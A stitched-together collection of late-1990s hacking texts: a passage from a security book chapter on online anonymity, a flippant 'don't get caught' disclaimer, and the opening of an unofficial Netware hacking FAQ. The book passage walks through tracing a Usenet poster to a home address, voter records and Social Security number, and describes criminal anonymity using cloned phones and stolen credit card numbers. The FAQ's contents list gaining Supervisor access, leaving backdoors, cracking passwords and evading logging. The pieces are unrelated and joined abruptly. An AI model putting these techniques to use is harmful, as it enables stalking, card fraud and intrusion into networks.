- - [12/Feb/1997:17:20:59 -0800] "GET /~user/index.html i HTTP/1.0" 200 449
```

The major difference between these devices and the cookie implementation, however, is that cookies are written to a file on your hard disk drive. Many users may not be bothered by this, and in reality, there is nothing threatening about this practice. For example, a cookie can only be read by the server that set it. However, I do not accept cookies as a rule, no matter how persistent the server may be at attempting to set one. (Some programmers provide for this process on every page, hoping that eventually the user will tire of dealing with dialog boxes and simply allow the cookie to be set.)

It is interesting to note that some clients have not been preconfigured to deny cookies. In these instances, a cookie may be written to the drive without the user's consent, which is really the default configuration, even for those browsers that support screening of cookies. Early versions of both Netscape Navigator and Microsoft Internet Explorer shipped with the Deny Cookies checkbox unchecked. Absentmindedness on the part of the vendors? Perhaps. If you have a problem denying cookies, for whatever reason, there is an action you can undertake to prevent these items from being written to your drive. One is to make the file cookies.txt read-only. Thus, when a foreign Web

server attempts to write to the file, it will fail.

> TIP: It has been reported that this can be done in MacOS by first deleting and then re-creating the cookie file and subsequently placing it into the Preferences folder.

I recommend denying cookies, not so much because they are an invasion, but because they leave a trail on your own hard disk drive. That is, if you visit a page that you have been forbidden to access and it sets a cookie, the evidence will be in cookies.txt. This breaks down to cache issues as well: even if your cookies file is clean, your cache will betray you.

> NOTE: Although this is a well-known issue, new users may not be aware of it, so I will explain. To retrieve the sites you have most recently visited, type about:cache in the Open Location box in Netscape's Navigator. A new page will appear, showing Web pages you have recently visited. So, if you browse the Net at work when you are supposed to be performing your duties, you will want to kill that cache every few minutes or set its value to 0.

Currently, denying a cookie does not dramatically influence your ability to access a page, although that may change in the future. At best, the cookie issue has assisted in heightening public awareness that a remote Web server can cull your IP address and, in certain instances, your location, your operating system, your browser, and so forth.

> NOTE: If you are uncomfortable with denying cookies from all sites, perhaps you should check out a program called Cookie Jar. Cookie Jar allows you to specify what servers you will accept cookies from. The program was written by Eric Murray, a member of the Sams technical editorial team. Cookie Jar is located at http://www.lne.com/ericm/cookie_jar/. The main amenity of Cookie Jar is convenience. Many sites require that you accept a cookie to access certain services. Cookie Jar can perform filtering for you.

Public Postings

We will now assume that no one knows who you are. They are about to find out, however, because you are about to post a message to a Usenet newsgroup. From the moment you post a message to Usenet, your name and e-mail address are fair game.

The Usenet news network is somewhat different from other forms of communication on the Internet. For a start, it is almost entirely public, with a very few exceptions. Moreover, many Usenet news newsgroups are archived--that is, the articles posted to such groups are bundled and stored for later use. I have seen archived messages ranging back to 1992, some of which are reachable by WAIS, FTP, Telnet, and other, antiquated interfaces.

> TIP: Note that these are private archives and have nothing to do with search engines. The big search engines generally archive Usenet messages for a few weeks only. In contrast, private archives (maintained by non-commercial, special interest groups), especially those that have listservers in addition to newsgroups, may be maintained for a long, long time.

Because these messages are kept, your e-mail address (and identity, because your identity can be traced with it) has a shelf life. Hucksters like list brokers routinely tap such archives, searching for leads--collections of e-mail addresses of persons who share a particular interest, such as all females over 40 years of age who smoke a pipe, have an eye patch, and voted Republican in the last election. If you think that this level of refinement is ludicrous, think again. Applying various search spiders (and a number of personal robots), one can narrow the search to something that specific.

The first step in developing such a list is to capture e-mail addresses. To do this, any garden-variety search engine will do, although AltaVista (altavista.digital.com) and DejaNews (www.dejanews.com) have the most malleable designs. Even though these engines are well known to most users, I am providing screen captures of their top-level pages, primarily for reference purposes as I explain Usenet snooping.

Figure 13.6.
The top-level page of AltaVista.

AltaVista is one of the most powerful search engines available on the Internet and is provided as a public service by Digital Equipment Corporation (DEC). It accepts various types of queries that can be directed toward WWW pages (HTML) or Usenet postings. (The Usenet postings are archived, actually. However, DEC reports that these are kept only for a period of "a few weeks.")

One key point about the AltaVista engine is that it was coded nicely. By enclosing strings in quotation marks, you can force a case-sensitive, exact regex (regular expression) match. As a result, you can isolate one page out of millions that contains the exact string you're seeking. Similarly, you can isolate all Usenet postings made by a particular author. By taking each of those postings and analyzing them, you can identify that person's chief interests. (Perhaps the person is a militia member, for example.)

The DejaNews search engine is a very specialized tool. It is solely a Usenet robot/spider. The DejaNews archive reportedly goes back to March 1995, and the management indicates that it is constantly trying to fill gaps and get older articles into the database. It claims that it is working on providing all articles posted since 1979. Figure 13.7 shows the top page of DejaNews.

Figure 13.7.
The top-level page of DejaNews.

DejaNews has some more advanced functions for indexing, as well. For example, you can automatically build a profile on the author of a Usenet article. (That is, the engine will produce a list of newsgroups that the target has posted to recently.)

Defeating the archiving of your Usenet messages on both AltaVista and DejaNews is relatively simple--for direct posting, at least. Either in the X headers of your Usenet article or as the first line of your article, issue the following string:

x-no-archive: yes

This will ensure that your direct postings made to Usenet will not be archived. This does not, however, protect you from third-party postings that contain your e-mail address. For example, if you belong to a mailing list and that list is archived somewhere on the WWW (or even at FTP sites), your e-mail address is already compromised. If your e-mail address appears in a thread of significant interest (and your reply was sufficiently enlightening), it is guaranteed that the entire thread (which contains your address) will be posted somewhere. And it will be somewhere other than Usenet; perhaps a WWW page or a Gopher server.

Let us continue to suppose that you have no knowledge of how Usenet indexing works. Let us further assume that although your real name does not appear on Usenet postings, it does appear in the /etc/passwd file on the UNIX server that you use as a gateway to the Internet. Now you are a viable target. Here are some steps that will lead the snooping party not simply to your real name, but to the front door of your home. The steps are as follows:

1. The snooping party sees your post to Usenet. Your e-mail address is in plain view, but your name is not.

2. The snooping party tries to finger your address, but as it happens, your provider prohibits finger requests from the void.

3. The snooping party Telnets to port 25 of your server. There, he issues the expn command and obtains your real name.

Having gotten that information, the snooping party next needs to find the state in which you currently reside. For this, he turns to the WHOIS service.

The WHOIS Service

The WHOIS service (centrally located at rs.internic.net) contains the domain registration records of all Internet sites. This registration database contains detailed information on each Internet site, including domain name server addresses, technical contacts, the telephone number, and the address. Here is a WHOIS request result on the provider Netcom, a popular Northern California Internet service provider:

```
NETCOM On-Line Communication Services, Inc (NETCOM-DOM)
   3031 Tisch Way, Lobby Level
   San Jose, California 95128
   US
   Domain Name: NETCOM.COM
   Administrative Contact:
      NETCOM Network Management   (NETCOM-NM)   dns-mgr@NETCOM.COM
      (408) 983-5970
   Technical Contact, Zone Contact:
      NETCOM DNS Administration   (NETCOM-DNS)   dns-tech@NETCOM.COM
      (408) 983-5970
   Record last updated on 03-Jan-97.
   Record created on 01-Feb-91.
   Domain servers in listed order:
   NETCOMSV.NETCOM.COM          192.100.81.101
   NS.NETCOM.COM                192.100.81.105
   AS3.NETCOM.COM               199.183.9.4
```

Here, the snooping party has discovered that the provider is in the state of California. (Note the location at the top of the WHOIS return listing, as well as the telephone points of contact for the technical personnel.) This information will help tremendously; the snooping party now proceeds to http://www.worldpages.com/. WorldPages is a massive database with a design very similar to the average White Pages. It holds the names, e-mail addresses, and telephone numbers of several million Internet users. (See Figure 13.8 for a screenshot of the top-level page of WorldPages.)

Figure 13.8.
The top-level page of WorldPages.

At WorldPages, the snooping party funnels your real name through a search engine, specifying the state as California. Momentarily, he is confronted with a list of matches that provide name, address,

and telephone number. Here, he may run into some trouble, depending on how common your name is. If your name is John Smith, the snooping party will have to do further research. However, let us assume that your name is not John Smith. Let's assume that your name is common, but not that common. So the snooping party uncovers three addresses, each in a different California city: One is in Sacramento, one is in Los Angeles, and one is in San Diego. How does he determine which one is really you? He proceeds to the host utility.

The host utility (discussed briefly in Chapter 9, "Scanners") will list all the machines on a given network and their relative locations. With large networks, it is common for a provider to have machines sprinkled at various locations throughout a state. The host command can identify which workstations are located where. In other words, it is generally trivial to obtain a listing of workstations by city. These workstations are sometimes even named for the cities in which they are deposited. Therefore, you may see an entry such as

chatsworth1.target_provider.com

Chatsworth is a city in southern California. From this entry, we can assume that chatsworth1.target_provider.com is located within the city of Chatsworth. What remains for the snooper is to reexamine your Usenet post.

By examining the source code of your Usenet post, he can view the path the message took. That path will look something like this:

news2.cais.com!in1.nntp.cais.net!feed1.news.erols.com!howland.erols.net! Âix.netcom.com!news

By examining this path, the snooping party can determine which server was used to post the article. This information is then coupled with the value for the NNTP posting host:

grc-ny4-20.ix.netcom.com

The snooping party extracts the name of the posting server (the first entry along the path). This is almost always expressed in its name state and not by its IP address. For the snooping party to complete the process, however, the IP address is needed. Therefore, he next Telnets to the posting host. When the Telnet session is initiated, the hard, numeric IP is retrieved from DNS and printed to STDOUT. The snooping party now has the IP address of the machine that accepted the original posting. This IP address is then run against the outfile obtained by the host query. This operation reveals the city in which the machine resides.

> TIP: If this information does not exactly match, the snooping party can employ other methods to get the location of the posting machine. One such technique is to issue a Traceroute request. When tracing the route to a machine that exists in another city, the route must invariably take a path through certain gateways. These are main switching points through which all traffic passes when going in or out of a city. Usually, these are high-level points, operated by telecommunication companies like MCI, Sprint, and so forth. Most have city names within their address. Bloomington and Los Angeles are two well-known points. Thus, even if the reconciliation of the posting machine's name fails against the host outfile, a Traceroute will reveal the approximate location of the machine.

Having obtained this information (and having now differentiated you from the other names), he returns to WorldPages and chooses your name. Within seconds, a graphical map of your neighborhood appears. The exact location of your home is marked on the map by a circle. The snooping party now knows exactly where you live and how to get there. From this point, he can begin to gather more interesting information about you. For example:

> The snooping party can determine your status as a registered voter and your political affiliations. He obtains this information at http://www.wdia.com/lycos/voter-records.htm.
>
> From federal election records online, he can determine which candidates you support and how much you have contributed. He gets this information from http://www.tray.com/fecinfo/zip.htm.
>
> He can also get your Social Security number and date of birth. This information is available at http://kadima.com/.

Many users are not bothered by this. Among those people, the prevailing attitude is that all such information is available through sources other than the Internet. The problem is that the Internet brings these sources of information together. Integration of such information allows this activity to be conducted on a wholesale basis, and that's where the trouble begins.

It is now possible (using the techniques described here) to build models of human networks--that is, it is now possible to identify all members of a particular class. It is also possible to analyze the relationships between them. This changes the perspective for intelligence agencies.

Years ago, gathering domestic intelligence was a laborious process. It required some element, however slim, of human intelligence. (Human intelligence here refers to the use of human beings to gather information as opposed to machines or other, automated processes.) Thus, to get the low-down on the Students for a Democratic Society, for example, intelligence agencies had to send agents on foot. These agents had to mix with the crowd, record license plate numbers, or gather names at a rally. Today, those methods are no longer necessary.

Today, the Internet provides a superb tool to monitor the public sentiment (and perhaps to identify those who conspire to take up arms). In some respects, one might concede that this is good. Certainly, if individuals are discussing violence or crime, and they contemplate these issues online, it seems suitable that law-enforcement agencies can take advantage of this emerging technology. However, it should be recognized here that the practice of building models of human networks via the Internet violates no law. It amounts to free spying, without a warrant. Put more bluntly, we Americans do often have big mouths. Some of us would do better to keep quiet.

Before I continue, I want to make one point clear: Complete anonymity on the Internet is possible, but not legally. Given enough time, for example, authorities could trace a message posted via anonymous remailer (although, if that message were chained through several remailers, the task would be far more complex). The problem is in the design of the Internet itself. As Ralf Hauser and Gene Tsudik note in their article "On Shopping Incognito":

> From the outset the nature of current network protocols and applications runs counter to privacy. The vast majority have one thing in common: they faithfully communicate end-point identification information. `End-point' in this context can denote a user (with a unique ID), a network address or an organization name. For example, electronic mail routinely communicates sender's address in the header. File transfer (e.g., FTP), remote login (e.g. Telnet), and hypertext browsers (e.g. WWW) expose addresses, host names and IDs of their users.

Indeed, the process starts at the very moment of connection. For example, workstations connected to a network that is directly wired to the Net all have permanent addressing schemes. Certainly, an Ethernet spoof will not carry when crossing the bridge to IP; therefore, fixed stations permanently strung to the Internet will always have the same IP. And, short of the operator of such a workstation getting root access (and altering the routing tables), there is little that can be done in this regard.

Similarly, the average user's IP is dependent solely upon his server. Consider the exchange that occurs in a dial-up account. (See Figure 13.9.)

Figure 13.9.
A little case study: dynamic IP allocation.

Most servers are now running some form of dynamic IP allocation. This is a very simple but innovative system. Examine the Ethernet arrangement to the right of Figure 13.9 (a garden-variety rack of headless workstations). Each machine on that network can allocate a certain number of IP addresses. Let's make it simple and say that each workstation can allocate 254 of them. Think of each address as a spoke in a bicycle wheel. Let's also assume that the IP address for one of these boxes is 199.171.180.2 (this is an imaginary address). If no one is logged on, we say that the available addresses (on that box) range from 199.171.180.3 to 199.171.180.255.

As long as only a portion of these address are occupied, additional addresses will be allocated. However, what if they are all allocated? In that case, the first one to be disengaged will be the next available IP. That is, suppose they are all allocated and you currently occupy 199.171.180.210. As soon as you disconnect (and if no one else does before the next call), the very next customer will be allocated the address 199.171.180.210. It is a free slot (left free because you have disconnected), and the next caller grabs it. The spokes of the wheel are again fully occupied.

> TIP: In practice, the process is more complex, involving more hardware and so forth. However, here we are just concerned with the address allocation, so I have greatly simplified the process.

This demonstrates that in dynamic IP allocation, you will likely have a different address each time you connect. Many individuals who run illegal BBS systems on the Internet take advantage of this phenomenon.

> NOTE: The term illegal here refers to those BBS systems that distribute unlawful software. This does not have to be warez (pirated software) either. Certain types of cellular cloning software, for example, are unlawful to possess. Distribution of such software will bring the authorities to your door. Likewise, "illegal" BBS activity can be where the operator and members engage in cracking while logged on. Lastly, those BBS systems that distribute child pornography are, quite obviously, illegal.

The dynamic allocation allows users to perform a little parlor trick of sorts. Because the IP is different each time, an illegal BBS can be a moving target. That is, even if law-enforcement officials suspect the activity being undertaken, they are not sure where it is happening without further research.

Typically, this type of setup involves the perpetrators using a networked operating system (almost always Linux or FreeBSD) that allows remote logins. (These logins may include FTP, Telnet, Gopher, and so on. It is also fairly common to see at least sparse HTTP activity, although it is almost always protected using htpasswd.) It is also common for the operator of such a board to request that users use SSH, S/Key, or some other, secure remote-login software so that third parties cannot snoop the activity there.

Typically, the operator connects using the networked operating system and, after having determined the IP for the night, he mails out the network address to the members of the group. (This is usually an automated process, run through a Perl script or some other shell language.) The mailed message need be no more than a blank one, because all that is important is the source address.

For the brief period that this BBS is connected, it effectively serves as a shadowed server in the void. No one would know of its existence unless they scanned for it. Most often, the operator will kill both finger and the r services, therefore blocking the prying eyes of third parties from determining who is logged to the server. Moreover, the operator has usually gained some privileged access to his provider's network and, having done so, can obscure his presence in system logs.

For the individuals in these groups, relative anonymity is realized because, even if an outside party later questions the sysad of the provider, the logs may be very sparse. Most system administrators are reluctant to kill an account without adequate proof. True, the logs at any outside network would show some activity and the IP it originated from, but that is not enough. If the system administrator cannot say with certainty who perpetrated the activity, he has no case. Meanwhile, during the period when users are logged in to this hidden server, they, at least, are shielded in terms of identity. They can then Telnet back out of that machine (or connect to IRC) and from there, they have some level of shielding. But what about the average Joe?

The average user does not implement such schemes. He connects using mostly client software, on the IBM or Mac platform, and is not looking to provide services. The difference is considerable. Certainly, anyone using the configuration described here has more options with regard to sending, say, fakemail. Because that person controls the server (and the sendmail application is local), even a simple message sent from the console will appear differently from one sent from a Windows client. Such a message cannot be trusted, and only by reviewing the full headers can you reliably determine where it came from.

> TIP: You will recall that in Chapter 9, I discussed this point. The technique for identifying the source of fakemail involves using Traceroute. Generally, the second-to-last listing in the Traceroute results will reveal the actual source. In other words, the second-to-last line will reveal the provider network, and from that you can deduce that the user was at least temporarily connected to that server. A discussion with the sysad at that location should give you the username--providing, of course, that you can convince the sysad that there is a reason for him to release such information.

My point is this: During the period when a shadowed server is up, those who log in from the void are safe and hidden, but only as long as the operator of the box refuses to provide their identities.

For example, say a kid establishes such a box in California. His friends from Philadelphia connect to the box and use it as a launching pad. From there, the folks from Philadelphia Telnet back out and begin cracking some server in the void. Our boy in California may later have to answer for this activity. However, if he has erased his logs (and keeps his mouth shut), the people from Philadelphia will never be found. Which leads to this advice: If you run such a server, never, ever allow individuals you do not know to use it. When you destroy the logs, you are sealing your own fate. These individuals are using an IP address that can be traced to you (unless you have root access on your provider's box). Thus, if you meet someone on IRC and he begs you for a shell account, it is best that you refuse until you know him. Otherwise, it is you and not he who will suffer.

At any rate, because of the inherent design of the Internet, the IP address is a universal identification index. It has to be, because without it, how could information be routed across the network? Therefore, be advised that although you may change your mail address in Netscape Navigator or other programs containing mail packages, this does not obscure your identity. True, inexperienced users will be dumbfounded as to the origin of the message, but anyone familiar with UNIX can trace the message right to its source.

I imagine that the majority of my readers are not criminals and simply want to keep their name out of Usenet screens or mailing lists. However, for those inclined to break the law (who are scouring this

chapter for that one, single answer), I say this: To totally shield yourself from the law (and other, interested parties), you will need these items:

A cloned cellular telephone or other means of initiating a digital connection (seizing a circuit, perhaps)

A laptop (loaded with either FreeBSD or Linux)

Credit card numbers stolen from a clean source

A PCICMA modem

A reason for all this

Certain individuals are available for hire to perform various crimes over the Internet. When they conduct their activity, this is how they do it. The credit card numbers are usually bought outright from an underground, or a "clean," source; one that law enforcement can neither readily identify or reach. Most of these are on microfiche, taken from a financial institution or other source that has a quantity of numbers. (Note that only those individuals who are doing high-volume work will buy microfiche. This is because using microfiche-based numbers is in itself a risk. Later analysis by law enforcement will reveal that sets of numbers used may have or appear to have originated from the same source.)

Those involved in this activity generally explain that banks are poor sources for the numbers, as are Internet service providers, car rental agencies, and retail chains. It is argued that the best source is from mail-order lists or department store databases. These are the reasons:

These lists contain many different types of credit cards, not just one.

These card numbers belong to accounts that are underwritten by many institutions, not just one.

The rightful owners of such credit cards live at locations sprinkled throughout the United States; therefore, the activity initially appears to be unconnected.

Law-enforcement agents will initially be dumbfounded as to the seed source of the numbers, for all these reasons.

Having obtained the numbers, the next step is to choose a provider. Most individuals who do this on a regular basis have lists of providers that allow "instant access," where you provide your vitals, your credit card, your desired login, your password, and so forth. Within minutes, you are surfing the Net.

Using this technique, you can reliably obtain total anonymity for short periods of time, periods long enough to perform the desired task. The only hope that authorities have of catching you is to elicit corroborative testimony of a coconspirator, or if you establish a pattern of activity--for example, if spend your nights breaking into machines owned or operated by security specialists who are also talented hackers.

NOTE: I have not suggested here that any reader undertake the action described here. If you do so, you do it at your own peril. These actions amount to crime--or, in fact, a series of crimes. Here, I have merely explained one technique, and no more. Neither I nor Sams Publishing advocate, support, or condone such activity.

For my more law-abiding readers (the majority, I hope), there are varying degrees of anonymity that can be obtained. It depends upon why you want to hide and the sensitivity of the data you are

trafficking. It has been recognized that there are plenty of legitimate reasons for allowing anonymity on the Internet. The following is excerpted from "Anonymity for Fun and Deception: The Other Side of `Community'" by Richard Seltzer: Some communities require anonymity for them to be effective, because without it members would not participate. This the case with Alcoholics Anonymous, AIDS support groups, drug addiction support and other mutual help organizations, particularly when there is some risk of social ostracism or even legal consequences should the identity of the members be revealed.

> Cross Reference: "Anonymity for Fun and Deception: The Other Side of `Community'" by Richard Seltzer can be found on the Web at http://www.samizdat.com/anon.html.

This is a recurring theme in the now-heated battle over Internet anonymity. Even many members of the "establishment" recognize that anonymity is an important element that may preserve free speech on the Internet--not just here, but abroad. This issue has received increased attention in legal circles. An excellent paper on the subject was written by A. Michael Froomkin, a lawyer and prominent professor. In "Anonymity and Its Enmities," Froomkin writes

> Persons who wish to criticize a repressive government or foment a revolution against it may find remailers invaluable. Indeed, given the ability to broadcast messages widely using the Internet, anonymous e-mail may become the modern replacement of the anonymous handbill. Other examples include corporate whistle-blowers, people criticizing a religious cult or other movement from which they might fear retaliation, and persons posting requests for information to a public bulletin board about matters too personal to discuss if there were any chance that the message might be traced back to its origin.

> Cross Reference: "Anonymity and Its Enmities" by Professor Froomkin is an excellent source for links to legal analysis of Internet anonymity. Especially for journalists, the paper is an incredible resource. It can be found on the Web at http://warthog.cc.wm.edu/law/publications/jol/froomkin.html.

However, not everyone feels that anonymity is a good thing. Some people believe that if anonymity is available on the Internet, it amounts to nothing but anarchy. Here is a rather ironic quote, considering the source is Computer Anarchy: A Plea for Internet Laws to Protect the Innocent by Martha Seigel:

> People need safety and order in cyberspace just as they do in their homes and on the streets. The current state of the Internet makes it abundantly clear that general anarchy isn't working. If recognized governments don't find a way to bring order to the growing and changing Internet, chaos may soon dictate that the party is over.

You may or may not know why this quote is so incredibly ironic. The author, Martha Seigel, is no stranger to "computer anarchy." In her time, she has been placed on the Internet Blacklist of Advertisers for violating network policies against spamming the Usenet news network. The following is quoted from the docket listing on that blacklist in regards to Cantor & Seigel, Ms. Seigel's law firm:

> The famous greencard lawyers. In 1994, they repeatedly sent out a message offering their services in helping to enter the U.S. greencard lottery to almost all Usenet newsgroups. (Note in passing: they charged $100 for their service, while participating in the greencard lottery is free and consists merely of sending a letter with your personal information at the right time to the right place.) When the incoming mail bombs forced their access provider to terminate their

account, they threatened to sue him until he finally agreed to forward all responses to them.

Cross Reference: The Internet Blacklist can be found on the Web at http://www.cco.caltech.edu/~cbrown/BL/.

I should mention here that Cantor and Seigel are the authors of How To Make A Fortune On The Information Superhighway (HarperCollins, 1994). For Internet marketers, this book is purportedly a must-read.

I also understand that a new book by Seigel, How to Make a Fortune on the Internet (HarperCollins), is forthcoming.

However, all this may be academic. As we move toward a cashless society, anonymity may be built into the process. In this respect, at least, list brokers (and other unsavory information collectors) had better do all their collecting now. Analysis of consumer buying habits will likely become a thing of the past, at least with relation to the Internet. The majority of electronic payment services being developed (or already available) on the Internet include anonymity as an inherent part of their design.

Cross Reference: Dan Fandrich, a prominent programmer and computer enthusiast in British Columbia, has compiled a comprehensive list of such systems. That list is located at http://vanbc.wimsey.com/~danf/emoney-anon.html. Of the systems Fandrich researched, here are a few:

DigiCash
Café
CyberCash
NetBank/NetCash
First Virtual

Fandrich's research demonstrates a few significant points. Some systems claim to offer "total" anonymity, but they really don't. He observes, for example, that many systems keep logs of the activity. This represents one important issue. While individuals are concerned with their privacy, and banks would like to ensure that privacy, some medium must be reached. Because if there is total anonymity, how can crimes be adequately investigated? Certainly, new fraud schemes will arise as a result of these new technologies. For example, a technique is already known for defeating the security of smartcards. (I will not be printing that here, I'm afraid.)

In short, complete anonymity on the Internet is becoming less and less easy to lawfully obtain. However, advanced research in the area of anonymous payment schemes will probably turn that around dramatically in the next five years. For, while government agencies are circumspect about Internet anonymity, the coming age of Internet commerce almost demands it. That is where the research is going at the moment, and there is no indication of that trend changing in the near future.

Summary

This chapter discusses a variety of ways you can conceal your identity, including using utilities such as finger, the r commands, and Master Plan. The issue of cookies is addressed. Finally, the issue of anonymity is discussed as it relates to Usenet postings and the WHOIS service.

Resources

Privacy & Anonymity on the Internet FAQ. L. Detweiler. Many sources on privacy and anonymity on the Internet. A must for users new to identity issues on the Net.

http://www.prz.tu-berlin.de/~derek/internet/sources/privacy.faq.02.html

Anonymous Remailer FAQ. Andre Bacard. A not-too-technical description of anon remailers, how they work, and where they can be found.

http://www.well.com/user/abacard/remail.html

Note: Bacard is also the author of Computer Privacy Handbook ("The Scariest Computer Book of the Year").

The Anonymous Remailer List. Raph Levien. Locations of anonymous remailers on the Internet.

http://www.cs.berkeley.edu/~raph/remailer-list.html

How-To Chain Remailers. Alex de Joode. A no-nonsense tutorial on how to chain remailers and, in doing so, send a totally anonymous message.

http://www.replay.com/remailer/chain.html

Privacy on the Internet. David M. Goldschlag, Michael G. Reed, and Paul F. Syverson: Naval Research Laboratory Center For High Assurance Computer Systems. A good primer that covers all the aspects discussed in this chapter.

http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/inet97/index.htm

Anonymous Connections and Onion Routing. David M. Goldschlag, Michael G. Reed and Paul F. Syverson: Naval Research Laboratory Center For High Assurance Computer Systems. PostScript. Presented in the Proceedings of the Symposium on Security and Privacy in Oakland, Calif., May 1997. A quite detailed analysis of anonymous connections and their resistance to tracing and traffic analysis. (Also discusses vulnerabilities of such systems. A must read.)

http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/OAKLAND_97.ps

Special Report: Privacy in the Digital Age. Susan Stellin. CNET article containing resources on privacy on the Internet.

http://www.cnet.com/Content/Features/Dlife/Privacy/

The Electronic Frontier Foundation. Comprehensive sources on electronic privacy.

http://www.eff.org/

The Electronic Privacy Information Center (EPIC). Civil liberties issues. This site is indispensable in getting legal information on privacy and anonymity on the Internet and elsewhere.

http://epic.org/

Computer Professionals for Social Responsibility--CPSR. A group devoted to discussion about ethics in computer use.

http://snyside.sunnyside.com/home/

The Anonymizer. A site that offers free anonymous surfing. The application acts as a middleman

between you and the sites you surf. Basically, it is a more complex proxying service. It allows chaining as well, and your IP is stripped from their logs.

http://www.anonymizer.com/

Articles and Papers

On Shopping Incognito. R. Hauser and G. Tsudik. Second USENIX Workshop on Electronic Commerce, November 1996.

http://www.isi.edu/~gts/paps/hats96.ps.gz

The Anonymous E-mail Conversation. Ceki Gulcu. Technical Report, Eurecom Institute. June 1995.

Control of Information Distribution and Access. Ralf C. Hauser. Technical Report, Department of Computer Science, University of Zurich. September 1995.

Internet Privacy Enhanced Mail. Stephen T. Kent. Communications of the ACM, vol.36 no.8, August 1993.

Certified Electronic Mail. Alireza Bahreman, J. D. Tygar. 1994.

ftp://ftp.cert.dfn.de/pub/pem/docs/CEM.ps.gz

E-Mail Security. Dr. John A. Line. UKERNA Computer Security Workshop, November 15-16, 1994.

ftp://ftp.cert.dfn.de/pub/pem/docs/UKERNA-email-security.ps.gz

Anonymous Internet Mercantile Protocol. David M. Kristol, Steven H. Low, and Nicholas F. Maxemchuk. 1994.

http://julmara.ce.chalmers.se/Security/accinet.ps.gz

Anonymous Credit Cards. Steven Low and Nicholas F. Maxemchuk and Sanjoy Paul. 1994.

http://julmara.ce.chalmers.se/Security/anoncc.ps.gz

NetCash: A Design for Practical Electronic Currency on the Internet. Gennady Medvinsky and B. Clifford Neuman. 1993.

http://julmara.ce.chalmers.se/Security/netcash2.ps.gz

Electronic Fingerprints: Computer Evidence Comes of Age. Anderson, M.R., Government Technology Magazine, November 1996.

Achieving Electronic Privacy. David Chaum. Scientific American, pp. 96-101, August 1992.

Erased Files Often Aren't. Anderson, M.R., Government Technology Magazine, January 1997.

FBI Seeks Right to Tap All Net Services. Betts, M. ComputerWorld, Vol. XXVI, No. 23, June 8, 1992.

E-Mail any questions, comments or deaththreats to:

ameister@vol.com

Visit him at:

http://www.vol.com/~ameister

Disclaimer:

This is for Educational purposes only it should not be used as a guide to cause havoc or to hack. He He He, good luck!!! And don't get caught. I would hate to see you in a cell with your 300 pound Bruno The Gay Ax murderer. He He He...

NovellI Network Hack

From the Nomad Mobile Research Centre:

Frequently Asked Questions About Hacking Novell Netware

"The Unofficial Netware Hack FAQ"

Beta Version 3

Compiled by Simple Nomad

Contributions (and thanks to):

The LAN God
Teiwaz teiwaz@wolfe.net
Fauzan Mirza fauzanm@jumper.mcc.ac.uk
Jeff Carr jcarr@kpmg.com.au
David A Wagner daw@lagos.CS.Berkeley.EDU
Diceman diceman@fl.net.au
PEME_Inc

Extra thanks to BioHazard, Mickey, and Al Payne for their kindness in redistribution of the FAQ. And hello to several friends - Mr. Wizard, The Raven, Riker, Route, B.C. And thanks to many others who requested anonymity or didn't realize they were contributing ;-)

Tech Support (and special thanks to):

itsme - infamous Netware Netherlands hack fame

Been real busy playing with Netware 4.1, and it shows. You asked for it, you got it. Netware 4.1 hack info, straight from the insecure LANs of corporate and education locations everywhere. I've also received a lot of email, particularly since Al's HTML version of the FAQ is getting accessed pretty heavily. The main question I am asked is by Admins - am I secure? I try and address this at the end of the FAQ but the answer is no. No system is completely secure.

I will include Win95/Netware info next version of the FAQ. Not enough time to include stuff this time, so if you have stuff, send it.

S.N.

Contents

U means update from last FAQ, N means new.

Section 00

General Info

  00-1. What is this "FAQ" for?
  00-2. What is the origin of this FAQ and how do I add to it?
U 00-3. Is this FAQ available by anonymous FTP or WWW?

Section 01

Access to Accounts

U 01-1. What are common accounts and passwords in Novell Netware?
U 01-2. How can I figure out valid account names on Novell Netware?
  01-3. What is the "secret" method to gain Supervisor access Novell used to
  teach in CNE classes?
  01-4. What is the cheesy way to get Supervisor access?
  01-5. How do I leave a backdoor?
N 01-6. I don't have SETPWD.NLM or a disk editor. How can I get Supe access?

Section 02

Passwords

  02-1. How do I access the password file in Novell Netware?
  02-2. How do I crack Novell Netware passwords?
N 02-3. What is a "brute force" password cracker?
N 02-4. What is a "dictionary" password cracker?
  02-5. How do I use SETPWD.NLM?
  02-6. What's the "debug" way to disable passwords?
N 02-7. Exactly how do passwords get encrypted?

Section 03

Accounting and Account Security

  03-1. What is Accounting?
  03-2. How do I defeat Accounting?
  03-3. What is Intruder Detection?
N 03-4. How do I check for Intruder Detection?
U 03-5. What are station/time restrictions?
  03-6. How do I spoof my node or IP address?

Section 04

The Console

  04-1. How do I defeat console logging?
  04-2. Can I set the RCONSOLE password to work for just Supervisor?

Section 05

File and Directory Access

Section 06

Fun with Netware 4.1

Section 07

Miscellaneous Info on Netware

Section 08

Resources

U 08-1. What are some Netware FTP locations?
  08-2. Can I get files without FTP?
U 08-3. What are some Netware WWW locations?
  08-4. What are some Netware USENET groups?
  08-5. What are some Netware mailing lists?
  08-6. Where are some other Netware FAQs?
U 08-7. Where can I get the files mentioned in this FAQ?
  08-8. What are some good books for Netware?

Section 09

Netware APIs

  09-1. Where can I get the Netware APIs?
U 09-2. Are there alternatives to Netware's APIs?

Section 10

For Administrators Only

U 10-1. How do I secure my server?
  10-2. I'm an idiot. Exactly how do hackers get in?
N 10-3. I have xxx setup and xxx version running. Am I secure?

Section 00

General Info

00-1. What is this "FAQ" for?

This FAQ contains information about hacking Novell Netware. It is intented to show what and how regarding hacking on Netware, and by illustrating this in explicit detail show how sys admins can improve security and prevent break-ins.
Most of the information in this FAQ was compiled and collected from various sources freely available on the Internet. In fact, most of the information here
is OLD info for serious Netware hackers. Some of the info was collected from these serious Netware hackers, and still more was collected from "tiger team" security sweeps that I have been involved in.

You will also find hints and generally good ideas for improving and/or expanding
an existing system. This FAQ is a good reference for sys admins as well as

hackers.

00-2. What is the origin of this FAQ and how do I add to it?

Send comments about info in this FAQ to thegnome@fastlane.net. Simple flames about typos, the "that's not right" one liners will be ignored. If you wish to contribute corrections please include your research and source of facts. Also if you wish to add your information, I will include it if I can include your email address, unless I can verify the info independently. This way if someone has questions, they can bug you, not me.

00-3. Is this FAQ available by anonymous FTP or WWW?

Look for it in the following locations:

jumper.mcc.ac.uk	/pub/security/netware	faq.zip
ftp.fastlane.net	/pub/nomad/nw	faq.zip
ftp.best.com	/pub/almcepud/hacks	faq.zip

ftp://infonexus.com/pub/Philes/FAQS/netwareHack.faq.txt.gz
